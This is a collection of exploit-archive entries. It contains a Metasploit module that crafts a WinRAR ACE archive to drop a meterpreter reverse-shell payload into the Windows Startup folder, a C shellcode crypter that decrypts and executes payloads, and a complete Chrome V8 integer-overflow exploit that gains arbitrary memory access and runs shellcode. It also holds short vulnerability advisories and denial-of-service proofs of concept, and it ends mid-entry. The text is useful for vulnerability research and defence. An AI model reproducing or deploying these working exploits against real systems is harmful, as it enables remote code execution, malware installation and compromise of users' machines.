include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'RARLAB WinRAR ACE Format Input Validation Remote Code Execution',
'Description' => %q{
In WinRAR versions prior to and including 5.61, there is path traversal vulnerability
when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename
field is manipulated with specific patterns, the destination (extraction) folder is
ignored, thus treating the filename as an absolute path. This module will attempt to
extract a payload to the startup folder of the current user. It is limited such that
we can only go back one folder. Therefore, for this exploit to work properly, the user
must extract the supplied RAR file from one folder within the user profile folder
(e.g. Desktop or Downloads). User restart is required to gain a shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nadav Grossman', # exploit discovery
'Imran E. Dawoodjee <imrandawoodjee.infosec@gmail.com>' # Metasploit module
],
'References' =>
[
['CVE', '2018-20250'],
['EDB', '46552'],
['BID', '106948'],
['URL', 'https://research.checkpoint.com/extracting-code-execution-from-winrar/'],
['URL', 'https://apidoc.roe.ch/acefile/latest/'],
['URL', 'http://www.hugi.scene.org/online/coding/hugi%2012%20-%20coace.htm'],
],
'Platform' => 'win',
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
'Targets' =>
[
[ 'RARLAB WinRAR <= 5.61', {} ]
],
'DisclosureDate' => 'Feb 05 2019',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ace']),
OptString.new('CUSTFILE', [ false, 'User-defined custom payload', '']),
OptString.new('FILE_LIST', [false, 'List of other non-payload files to add', ''])
])
end
def exploit
ace_header = ""
# All hex values are already in little endian.
# HEAD_CRC: Lower 2 bytes of CRC32 of 49 bytes of header after HEAD_TYPE.
# The bogus value for HEAD_CRC will be replaced later.
ace_header << "AA"
# HEAD_SIZE: header size. \x31\x00 says 49.
ace_header << "\x31\x00"
# HEAD_TYPE: header type. Archive header is 0.
ace_header << "\x00"
# HEAD_FLAGS: header flags
ace_header << "\x00\x90"
# ACE magic
ace_header << "\x2A\x2A\x41\x43\x45\x2A\x2A"
# VER_EXTRACT: version needed to extract archive
ace_header << "\x14"
# VER_CREATED: version used to create archive
ace_header << "\x14"
# HOST_CREATED: host OS for ACE used to create archive
ace_header << "\x02"
# VOLUME_NUM: which volume of a multi-volume archive?
ace_header << "\x00"
# TIME_CREATED: date and time in MS-DOS format
ace_header << "\x10\x18\x56\x4E"
# RESERVED1
ace_header << "\x97\x4F\xF6\xAA\x00\x00\x00\x00"
# AV_SIZE: advert size
ace_header << "\x16"
# AV: advert which shows if registered/unregistered.
# Full advert says "*UNREGISTERED VERSION*"
ace_header << "\x2A\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52\x53\x49\x4F\x4E\x2A"
# calculate the CRC32 of ACE header, and get the lower 2 bytes
ace_header_crc32 = crc32(ace_header[4, ace_header.length]).to_s(16)
ace_header_crc16 = ace_header_crc32.last(4).to_i(base=16)
ace_header[0,2] = [ace_header_crc16].pack("v")
# start putting the ACE file together
ace_file = ""
ace_file << ace_header
# create headers and append file data after header
unless datastore["FILE_LIST"].empty?
print_status("Using the provided list of files @ #{datastore["FILE_LIST"]}...")
File.binread(datastore["FILE_LIST"]).each_line do |file|
file = file.chomp
file_header_and_data = create_file_header_and_data(file, false, false)
ace_file << file_header_and_data
end
end
# autogenerated payload
if datastore["CUSTFILE"].empty?
payload_filename = ""
# 72 characters
payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
# 6 characters
payload_filename << rand_text_alpha(6)
# 4 characters
payload_filename << ".exe"
payload_file_header = create_file_header_and_data(payload_filename, true, false)
# user-defined payload
else
print_status("Using a custom payload: #{::File.basename(datastore["CUSTFILE"])}")
payload_filename = ""
# 72 characters
payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
# n characters
payload_filename << ::File.basename(datastore["CUSTFILE"])
payload_file_header = create_file_header_and_data(payload_filename, true, true)
end
vprint_status("Payload filename: #{payload_filename.from(72)}")
# append payload file header and the payload itself into the rest of the data
ace_file << payload_file_header
# create the file
file_create(ace_file)
end
# The CRC implementation used in ACE does not take the last step in calculating CRC32.
# That is, it does not flip the bits. Therefore, it can be easily calculated by taking
# the negative bitwise OR of the usual CRC and then subtracting one from it. This is due to
# the way the bitwise OR works in Ruby: unsigned integers are not a thing in Ruby, so
# applying a bitwise OR on an integer will produce its negative + 1.
def crc32(data)
table = Zlib.crc_table
crc = 0xffffffff
data.unpack('C*').each { |b|
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
}
-(~crc) - 1
end
# create file headers for each file to put into the output ACE file
def create_file_header_and_data(path, is_payload, is_custom_payload)
#print_status("Length of #{path}: #{path.length}")
if is_payload and is_custom_payload
file_data = File.binread(path.from(72))
elsif is_payload and !is_custom_payload
file_data = generate_payload_exe
else
file_data = File.binread(File.basename(path))
end
file_data_crc32 = crc32(file_data).to_i
# HEAD_CRC: Lower 2 bytes of CRC32 of the next bytes of header after HEAD_TYPE.
# The bogus value for HEAD_CRC will be replaced later.
file_header = ""
file_header << "AA"
# HEAD_SIZE: file header size.
if is_payload
file_header << [31 + path.length].pack("v")
else
file_header << [31 + ::File.basename(path).length].pack("v")
end
# HEAD_TYPE: header type is 1.
file_header << "\x01"
# HEAD_FLAGS: header flags. \x01\x80 is ADDSIZE|SOLID.
file_header << "\x01\x80"
# PACK_SIZE: size when packed.
file_header << [file_data.length].pack("V")
#print_status("#{file_data.length}")
# ORIG_SIZE: original size. Same as PACK_SIZE since no compression is *truly* taking place.
file_header << [file_data.length].pack("V")
# FTIME: file date and time in MS-DOS format
file_header << "\x63\xB0\x55\x4E"
# ATTR: DOS/Windows file attribute bit field, as int, as produced by the Windows GetFileAttributes() API.
file_header << "\x20\x00\x00\x00"
# CRC32: CRC32 of the compressed file
file_header << [file_data_crc32].pack("V")
# Compression type
file_header << "\x00"
# Compression quality
file_header << "\x03"
# Parameter for decompression
file_header << "\x0A\x00"
# RESERVED1
file_header << "\x54\x45"
# FNAME_SIZE: size of filename string
if is_payload
file_header << [path.length].pack("v")
else
# print_status("#{::File.basename(path).length}")
file_header << [::File.basename(path).length].pack("v")
end
#file_header << [path.length].pack("v")
# FNAME: filename string. Empty for now. Fill in later.
if is_payload
file_header << path
else
file_header << ::File.basename(path)
end
#print_status("Calculating other_file_header...")
file_header_crc32 = crc32(file_header[4, file_header.length]).to_s(16)
file_header_crc16 = file_header_crc32.last(4).to_i(base=16)
file_header[0,2] = [file_header_crc16].pack("v")
file_header << file_data
end
end
Linux/x86 Rabbit Shellcode Crypter
200 bytes small Linux/x86 rabbit shellcode crypter.
35dcc4387006d2416fa6774debd2a9a3
################################################################################
# Introduction
################################################################################
#
# Exploit Title: Rabbit Shellcode Crypter
# Date: 24.4.2019
# Exploit Author: Petr Javorik, www.mmquant.net
# Tested on: Linux ubuntu 3.13.0-32-generic, x86
# Description: Crypter which encrypts, decrypts and executes given shellcode
# using Rabbit symmetric cipher
#
################################################################################
# Keep in mind before use
################################################################################
#
# 1. Max shellcode length 200 bytes (easily adjustable)
# 2. You will probably have to adjust #include rabbit.c directive
# 3. Encryption key is strictly 16 bytes
#
################################################################################
# How to use
################################################################################
#
# 1. Download ECRYPT rabbit library http://www.ecrypt.eu.org/stream/e2-rabbit.html
# 2. Compile/Run $ gcc encrypt2rabbit.c -o encrypt2rabbit
# 3. Copy encrypted shellcode to decryptAndExecute.c
# 4. Compile $ gcc -fno-stack-protector -z execstack decryptAndExecute.c -o decryptAndExecute
# 5. Run with encryption key $ ./decryptAndExecute someencryptkeyyy
#
################################################################################
# Encryption
################################################################################
// File: encrypt2rabbit.c
// Author: Petr Javorik
#include <string.h>
#include <stdio.h>
#include "../rabbit/code/rabbit.c"
// execve /bin/ls
unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char key[16] = {'s', 'o', 'm', 'e', 'e', 'n', 'c', 'r', 'y', 'p', 't', 'k', 'e', 'y', 'y', 'y'};
int main()
{
ECRYPT_init();
ECRYPT_ctx ctx;
ECRYPT_keysetup(&ctx, key, 128, 0);
u8 encrypted[200];
int codeLen = strlen(code);
ECRYPT_process_bytes(0, &ctx, code, encrypted, codeLen);
int i;
printf("Encryption Key = ");
for (i=0; i<16; i++)
printf("%c", key[i]);
printf("\n");
printf("Original = ");
for (i=0; i<codeLen; i++)
printf("\\x%02x", code[i]);
printf("\n");
printf("Encrypted = ");
for (i=0; i<codeLen; i++)
printf("\\x%02x", encrypted[i]);
printf ("\n");
return 0;
}
######################################
$ ./encrypt2rabbit
Encryption Key = someencryptkeyyy
Original = \x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Encrypted = \x7f\xaf\xa4\x1e\xb7\x11\x01\x92\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30
################################################################################
# Decryption/Execution
################################################################################
// File: decryptAndExecute.c
// Author: Petr Javorik
#include <string.h>
#include <stdio.h>
#include "../rabbit/code/rabbit.c"
unsigned char encrypted[] = \
"\x7f\xaf\xa4\x1e\xb7\x11\x01\x92\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30";
int main(int argc, char **argv)
{
ECRYPT_init();
ECRYPT_ctx ctx;
ECRYPT_keysetup(&ctx, argv[1], 128, 0);
u8 decrypted[200];
int codeLen = strlen(encrypted);
ECRYPT_process_bytes(0, &ctx, encrypted, decrypted, codeLen);
int (*DecryptedFun)() = (int(*)())decrypted;
DecryptedFun();
}
######################################
$ ./decryptAndExecute someencryptkeyyy
decryptAndExecute decryptAndExecute.c encrypt2rabbit encrypt2rabbit.c execve-stack execve-stack.nasm execve-stack.o
Chrome NewFixedDoubleArray Integer Overflow
Chrome suffers from an integer overflow vulnerability in NewFixedDoubleArray.
b26427448c9bb392f1787ea07e216e0a
Chrome: Integer overflow in NewFixedDoubleArray
VULNERABILITY DETAILS
https://cs.chromium.org/chromium/src/v8/src/heap/factory.cc?rcl=dd689541d3815d64b4b39f6a41603248c71aa00e&l=496
Handle<FixedArrayBase> Factory::NewFixedDoubleArray(int length,
PretenureFlag pretenure) {
DCHECK_LE(0, length);
if (length == 0) return empty_fixed_array();
if (length > FixedDoubleArray::kMaxLength) { // ***1***
isolate()->heap()->FatalProcessOutOfMemory(\"invalid array length\");
}
int size = FixedDoubleArray::SizeFor(length); // ***2***
Map map = *fixed_double_array_map();
HeapObject result =
AllocateRawWithImmortalMap(size, pretenure, map, kDoubleAligned);
Handle<FixedDoubleArray> array(FixedDoubleArray::cast(result), isolate());
array->set_length(length);
return array;
}
https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=933508f981a984b7868d70c3adb781783e5aa32d&l=1183
Object Slow_ArrayConcat(BuiltinArguments* args, Handle<Object> species,
Isolate* isolate) {
[...]
uint32_t estimate_result_length = 0;
uint32_t estimate_nof = 0;
FOR_WITH_HANDLE_SCOPE(isolate, int, i = 0, i, i < argument_count, i++, {
Handle<Object> obj = args->at(i);
uint32_t length_estimate;
uint32_t element_estimate;
if (obj->IsJSArray()) {
Handle<JSArray> array(Handle<JSArray>::cast(obj));
length_estimate = static_cast<uint32_t>(array->length()->Number());
if (length_estimate != 0) {
ElementsKind array_kind =
GetPackedElementsKind(array->GetElementsKind());
kind = GetMoreGeneralElementsKind(kind, array_kind);
}
element_estimate = EstimateElementCount(isolate, array);
} else {
[...]
}
// Avoid overflows by capping at kMaxElementCount.
if (JSObject::kMaxElementCount - estimate_result_length < length_estimate) { // ***3***
estimate_result_length = JSObject::kMaxElementCount;
} else {
estimate_result_length += length_estimate;
}
if (JSObject::kMaxElementCount - estimate_nof < element_estimate) {
estimate_nof = JSObject::kMaxElementCount;
} else {
estimate_nof += element_estimate;
}
});
// If estimated number of elements is more than half of length, a
// fixed array (fast case) is more time and space-efficient than a
// dictionary.
bool fast_case = is_array_species &&
(estimate_nof * 2) >= estimate_result_length &&
isolate->IsIsConcatSpreadableLookupChainIntact(); // ***4***
if (fast_case && kind == PACKED_DOUBLE_ELEMENTS) {
Handle<FixedArrayBase> storage =
isolate->factory()->NewFixedDoubleArray(estimate_result_length); // ***5***
[...]
https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=9ea32aab5b494eaaf27ced51a6608e8400a3c4e5&l=1378
MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,
BuiltinArguments* args) {
[...]
int result_len = 0;
{
DisallowHeapAllocation no_gc;
// Iterate through all the arguments performing checks
// and calculating total length.
for (int i = 0; i < n_arguments; i++) {
Object arg = (*args)[i];
if (!arg->IsJSArray()) return MaybeHandle<JSArray>();
if (!HasOnlySimpleReceiverElements(isolate, JSObject::cast(arg))) {
return MaybeHandle<JSArray>();
}
// TODO(cbruni): support fast concatenation of DICTIONARY_ELEMENTS.
if (!JSObject::cast(arg)->HasFastElements()) {
return MaybeHandle<JSArray>();
}
Handle<JSArray> array(JSArray::cast(arg), isolate);
if (!IsSimpleArray(isolate, array)) { // ***6***
return MaybeHandle<JSArray>();
}
// The Array length is guaranted to be <= kHalfOfMaxInt thus we won't
// overflow.
result_len += Smi::ToInt(array->length());
DCHECK_GE(result_len, 0);
// Throw an Error if we overflow the FixedArray limits
if (FixedDoubleArray::kMaxLength < result_len || /// ***7***
FixedArray::kMaxLength < result_len) {
AllowHeapAllocation gc;
THROW_NEW_ERROR(isolate,
NewRangeError(MessageTemplate::kInvalidArrayLength),
JSArray);
}
}
}
return ElementsAccessor::Concat(isolate, args, n_arguments, result_len);
}
https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=9ea32aab5b494eaaf27ced51a6608e8400a3c4e5&l=244
BUILTIN(ArrayPrototypeFill) {
[...]
// 2. Let len be ? ToLength(? Get(O, \"length\")).
double length;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, length, GetLengthProperty(isolate, receiver)); // ***8***
// 3. Let relativeStart be ? ToInteger(start).
// 4. If relativeStart < 0, let k be max((len + relativeStart), 0);
// else let k be min(relativeStart, len).
Handle<Object> start = args.atOrUndefined(isolate, 2);
double start_index;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, start_index, GetRelativeIndex(isolate, length, start, 0)); // ***9***
// 5. If end is undefined, let relativeEnd be len;
// else let relativeEnd be ? ToInteger(end).
// 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0);
// else let final be min(relativeEnd, len).
Handle<Object> end = args.atOrUndefined(isolate, 3);
double end_index;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, end_index, GetRelativeIndex(isolate, length, end, length));
[...]
if (TryFastArrayFill(isolate, &args, receiver, value, start_index,
end_index)) {
https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=d8b0d88de4b7d73ea02abb8511c146944d6ccf67&l=2244
static Object FillImpl(Handle<JSObject> receiver, Handle<Object> obj_value,
uint32_t start, uint32_t end) {
// Ensure indexes are within array bounds
DCHECK_LE(0, start);
DCHECK_LE(start, end);
// Make sure COW arrays are copied.
if (IsSmiOrObjectElementsKind(Subclass::kind())) {
JSObject::EnsureWritableFastElements(receiver);
}
// Make sure we have enough space.
uint32_t capacity =
Subclass::GetCapacityImpl(*receiver, receiver->elements());
if (end > capacity) {
Subclass::GrowCapacityAndConvertImpl(receiver, end); // ***10***
CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
}
|NewFixedDoubleArray| doesn't expect the |length| argument to be negative (there's even a DCHECK for
that), as it would pass the maximum length check[1] and cause an integer overflow when computing the
size of the backing store[2]. The undersized backing store then might be used for out-of-bounds
access. It turns out there are at least two methods that allow passing negative values to
|NewFixedDoubleArray|.
1. Concat
The implementation of |Array.prototype.concat| in V8 has quite a few fast code paths that deal with
different kinds of arguments. The structure roughly looks like:
+------------------+
| |
+--------------> Fast_ArrayConcat |
| | |
| +------------------+ ***********************
+-------------+ * *
| | +----------------> packed double array *
| ArrayConcat | | * *
| | | ***********************
+-------------+ |
| +------------------+ +---------------------+
| | | | |
+--------------> Slow_ArrayConcat | +------------------> fixed array storage |
| | | | |
+------------------+ | +---------------------+
| |
| +---------------------+ +---------------------+
| | | | |
+----------------> ArrayConcatVisitor +-------> dictionary storage |
| | | |
+---------------------+ +---------------------+
|
| +---------------------+
| | |
+------------------> JSReceiver storage |
| |
+---------------------+
The relevant code path for this issue is the packed double array case inside |Slow_ArrayConcat|.
The method uses an unsigned variable for computing the result array length and caps it at
|kMaxElementCount|[3], i.e., at 0xffffffff. Then the value of the variable gets converted to a
*signed* type and passed to |NewFixedDoubleArray|[5] provided that the |fast_case| condition is
satisfied[4], and the estimated array type is PACKED_DOUBLE. Thus, any value in the range
[0x80000000, 0xffffffff] could pass the length check and trigger the overflow.
That still means an attacker has to make the method iterate through more than two billion array
elements, which might seem implausible; actually, the whole process takes just a couple of seconds
on a modern machine and has moderate memory requirements because multiple arguments can refer to the
same array.
Also, |ArrayConcat| calls |Fast_ArrayConcat| in the beginning, and the fast method has a more strict
length check, which might throw an error when the result length is more than |FixedDoubleArray::
kMaxLength|[7]. So, the attacker has to make |Fast_ArrayConcat| return early without triggering the
error. The easiest way to achieve that is to define an additional property on the array.
REPRODUCTION CASE:
<script>
const MB = 1024 * 1024,
block_size = 32 * MB;
array = Array(block_size).fill(1.1);
array.prop = 1;
args = Array(2048 * MB / block_size - 2).fill(array);
args.push(Array(block_size));
array.concat.apply(array, args);
</script>
2. Fill
The bug in |concat| allows writing data beyond the bounds of an array, but it's difficult to limit
the size of the OOB data to a sane value, which makes the exploitation primitive less useful.
So, I've spent some time looking for variants of the issue, and found one in |Array.prototype.fill|.
|ArrayPrototypeFill| initially obtains the length of an array[8] and uses that value to limit the
|start| and |end| arguments. However, a later call to |GetRelativeIndex|[9] might trigger a
user-defined JS function, which could modify the length. Usually, that's enough to cause OOB
access, so |FastElementsAccessor::FillImpl| double-checks that the capacity of the array is not less
than |end| and might call |GrowCapacityAndConvertImpl|[10], which in turn might call
|NewFixedDoubleArray|. The issue here is that there's no check that |end| is small enough to fit in
a signed type; therefore the same overflow leading to the allocation of an undersized backing store
could occur.
REPRODUCTION CASE:
<script>
array = [];
array.length = 0xffffffff;
b = array.fill(1.1, 0, {valueOf() {
array.length = 32;
array.fill(1.1);
return 0x80000000;
}});
</script>
Exploitation:
Unlike |concat|, |fill| conveniently allows limiting the size of the OOB block by modifying the
|start| argument. The exploit forces the method to return an array whose length value is bigger than
the actual size of the backing store, which is essentially a ready-to-use OOB read/write
exploitation primitive. The rest is just copied from https://crbug.com/931640.
<script>
let data_view = new DataView(new ArrayBuffer(8));
reverseDword = dword => {
data_view.setUint32(0, dword, true);
return data_view.getUint32(0, false);
}
reverseQword = qword => {
data_view.setBigUint64(0, qword, true);
return data_view.getBigUint64(0, false);
}
floatAsQword = float => {
data_view.setFloat64(0, float);
return data_view.getBigUint64(0);
}
qwordAsFloat = qword => {
data_view.setBigUint64(0, qword);
return data_view.getFloat64(0);
}
let oob_access_array;
let ptr_leak_object;
let arbirary_access_array;
let ptr_leak_index;
let external_ptr_index;
let external_ptr_backup;
const MARKER = 0x31337;
leakPtr = obj => {
ptr_leak_object[0] = obj;
return floatAsQword(oob_access_array[ptr_leak_index]);
}
getQword = address => {
oob_access_array[external_ptr_index] = qwordAsFloat(address);
return arbirary_access_array[0];
oob_access_array[external_ptr_index] = external_ptr_backup;
}
setQword = (address, value) => {
oob_access_array[external_ptr_index] = qwordAsFloat(address);
arbirary_access_array[0] = value;
oob_access_array[external_ptr_index] = external_ptr_backup;
}
getField = (object_ptr, num, tagged = true) =>
object_ptr + BigInt(num * 8 - (tagged ? 1 : 0));
setBytes = (address, array) => {
for (let i = 0; i < array.length; ++i) {
setQword(address + BigInt(i), BigInt(array[i]));
}
}
triggerOob = () => {
array = [];
array.length = 0xffffffff;
ptr_leak_object = {};
arbirary_access_array = new BigUint64Array(1);
oob_access_array = array.fill(1.1, 0x80000000 - 1, {valueOf() {
array.length = 32;
array.fill(1.1);
return 0x80000000;
}});
ptr_leak_object[0] = MARKER;
arbirary_access_array.buffer;
}
findOffsets = () => {
let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);
for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length;
++ptr_leak_index) {
if (oob_access_array[ptr_leak_index] === markerAsFloat) {
break;
}
}
let oneAsFloat = qwordAsFloat(1n << 32n);
for (external_ptr_index = 2; external_ptr_index < oob_access_array.length;
++external_ptr_index) {
if (oob_access_array[external_ptr_index - 2] === oneAsFloat &&
oob_access_array[external_ptr_index - 1] === 0) {
break;
}
}
if (ptr_leak_index === oob_access_array.length ||
external_ptr_index === oob_access_array.length) {
throw alert(\"Couldn't locate the offsets\");
}
external_ptr_backup = oob_access_array[external_ptr_index];
}
runCalc = () => {
const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(
new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
const shellcode = [
0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32,
0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56,
0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57,
0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00,
0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f,
0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d,
0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c,
0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53,
0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00
];
wasm_instance_ptr = leakPtr(wasm_instance);
const jump_table = getQword(getField(wasm_instance_ptr, 33));
setBytes(jump_table, shellcode);
wasm_func();
}
triggerOob();
findOffsets();
runCalc();
</script>
VERSION
Google Chrome 72.0.3626.121 (Official Build) (64-bit)
Google Chrome 74.0.3725.0 (Official Build) canary
I'd recommend changing |NewFixedDoubleArray| so it throws an OOM error on negative values, the same
way as the similar |AllocateRawFixedArray| function currently does.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made
broadly available (whichever is earlier), the bug report will become visible to the public.
Found by: glazunov@google.com
TIBCO ActiveMatrix BPM CVE-2019-8995 Open Redirection Vulnerability
TIBCO ActiveMatrix BPM is prone to an open-redirection vulnerability because it fails to properly validate user-supplied input.
An attacker can leverage this issue by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible.
The following TIBCO ActiveMatrix BPM versions are vulnerable:
TIBCO ActiveMatrix BPM version 4.2.0 and prior are vulnerable
TIBCO Silver Fabric for ActiveMatrix BPM Distribution version 4.2.0 and prior are vulnerable
TIBCO Silver Fabric Enabler for ActiveMatrix BPM version 1.4.1 and prior are vulnerable
Information
TIBCO Silver Fabric for ActiveMatrix BPM Distribution 4.1
TIBCO Silver Fabric Enabler for ActiveMatrix BPM 1.4.1
TIBCO Silver Fabric Enabler for ActiveMatrix BPM 1.4
TIBCO ActiveMatrix BPM 4.2
TIBCO ActiveMatrix BPM 1.3
TIBCO ActiveMatrix BPM 1.0.3
TIBCO ActiveMatrix BPM 1.0.2
TIBCO Silver Fabric Enabler for ActiveMatrix BPM 1.4.2
TIBCO ActiveMatrix BPM 4.3
Exploit
An attacker can exploit this issue by enticing an unsuspecting victim to follow a malicious URL.
References:
GraphicsMagick CVE-2019-11505 Heap Buffer Overflow Vulnerability
GraphicsMagick is prone to a heap-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it into an insufficiently sized buffer.
Successful exploits may allow the attacker to crash the affected application. Due to the nature of this issue, code execution may be possible but this has not been confirmed.
GraphicsMagick 1.3.8 through 1.4 snapshot-20190403 Q8 are vulnerable.
Information
GraphicsMagick GraphicsMagick 1.3.8
GraphicsMagick GraphicsMagick 1.4 snapshot-2019040
Exploit
The researcher has created a proof-of-concept to demonstrate the issue. Please see the references for more information.
References:
- #605 heap-buffer-overflow in function WritePDBImage of coders/pdb.c (Graphicsmagick)
- GraphicsMagick Homepage (GraphicsMagick)
- WritePDBImage(): Use correct bits/sample rather than image->depth. Avoids potent (Graphicsmagick)
Atlassian Confluence Server and Confluence Data Center Directory Traversal Vulnerability
Atlassian Confluence Server and Confluence Data Center are prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.
Remote attackers may use a specially crafted request with directory-traversal sequences ('../') to retrieve sensitive information. This may aid in further attacks.
The following products of Atlassian Confluence Server and Data Center are affected:
6.6.0 prior to 6.6.13
6.7.0 prior to 6.12.4
6.13.0 prior to 6.13.4
6.14.0 prior to 6.14.3
6.15.0 prior to 6.15.2
Information
Atlassian Confluence Data Center 6.14
Atlassian Confluence Data Center 6.13.3
Atlassian Confluence Data Center 6.13
Atlassian Confluence Data Center 6.12.3
Atlassian Confluence Data Center 6.12
Atlassian Confluence Data Center 6.11
Atlassian Confluence Data Center 6.10
Atlassian Confluence Data Center 6.9
Atlassian Confluence Data Center 6.8
Atlassian Confluence Data Center 6.7
Atlassian Confluence Data Center 6.6.12
Atlassian Confluence Data Center 6.6
Atlassian Confluence 6.14.2
Atlassian Confluence 6.14
Atlassian Confluence 6.13.3
Atlassian Confluence 6.13.1
Atlassian Confluence 6.13
Atlassian Confluence 6.12.3
Atlassian Confluence 6.12
Atlassian Confluence 6.11
Atlassian Confluence 6.10
Atlassian Confluence 6.6.12
Atlassian Confluence 6.6.1
Atlassian Confluence 6.9.0
Atlassian Confluence 6.8.0
Atlassian Confluence 6.7.2
Atlassian Confluence 6.7.1
Atlassian Confluence 6.7.0
Atlassian Confluence Data Center 6.14.3
Atlassian Confluence Data Center 6.13.4
Atlassian Confluence Data Center 6.12.4
Atlassian Confluence Data Center 6.6.13
Atlassian Confluence 6.15.2
Atlassian Confluence 6.14.3
Atlassian Confluence 6.13.4
Atlassian Confluence 6.12.4
Atlassian Confluence 6.6.13
Exploit
The researcher has created a proof-of-concept to demonstrate the issue. Please see the references for more information.
HeidiSQL Portable 10.1.0.5464 Denial Of Service
HeidiSQL Portable version 10.1.0.5464 denial of service proof of concept exploit.
b5ed5fc39c1be5e89d54ffa184e57d29
#Exploit Title: HeidiSQL Portable 10.1.0.5464 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-24
#Vendor Homepage: https://www.heidisql.com/
#Software Link: https://www.heidisql.com/downloads/releases/HeidiSQL_10.1_64_Portable.zip
#Tested Version: 10.1.0.5464
#Tested on: Windows 10 Single Language x64 / Windows 7 x32 Service Pack 1
#Steps to produce the crash:
#1.- Run python code: HeidiSQL_Portable_10.1.0.5464.py
#2.- Open bd_p.txt and copy content to clipboard
#2.- Open HeidiSQL
#3.- Select "New"
#4.- In Network type select "Microsoft SQL Server (TCP/IP)"
#5.- Enable "Prompt for credentials"> click on "Open"
#6.- In Login select "Password" and Paste ClipBoard
#6.- Click on "Login"
#7.- Crashed
cod = "\x41" * 2000
f = open('bd_p.txt', 'w')
f.write(cod)
f.close()
Backup Key Recovery 2.2.4 Denial Of Service
Backup Key Recovery version 2.2.4 denial of service proof of concept exploit.
d30ddca37c336b539d3f52c8d8bd0835
#Exploit Title: Backup Key Recovery 2.2.4 - 'Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-24
#Vendor Homepage: www.nsauditor.com
#Software Link: http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
#Tested Version: 2.2.4
#Tested on: Windows 7 x64 Service Pack 1
#Steps to produce the crash:
#1.- Run python code: Backup_key_rec_2.2.4.py
#2.- Open backup.txt and copy content to clipboard
#3.- Open Backup Key Recovery
#4.- Select "Register"
#5.- In "Name" paste Clipboard
#6.- In Key type "test"
#7.- Click "Ok"
#8.- Crarshed
cod = "\x41" * 300
f = open('backup.txt', 'w')
f.write(cod)
f.close()
JioFi 4G M2S 1.0.2 Cross Site Scripting
JioFi 4G M2S version 1.0.2 suffers from cross site scripting and html injection vulnerabilities.
b1e27e73e94aac9f52d2d8890f21c42e
# Exploit Title: cgi-bin/qcmap_web_cgi on JioFi 4G M2S 1.0.2 devices has XSS and HTML injection via the mask POST parameter.
# Exploit Author: Vikas Chaudhary
# Date: 21-01-2019
# Vendor Homepage: https://www.jio.com/
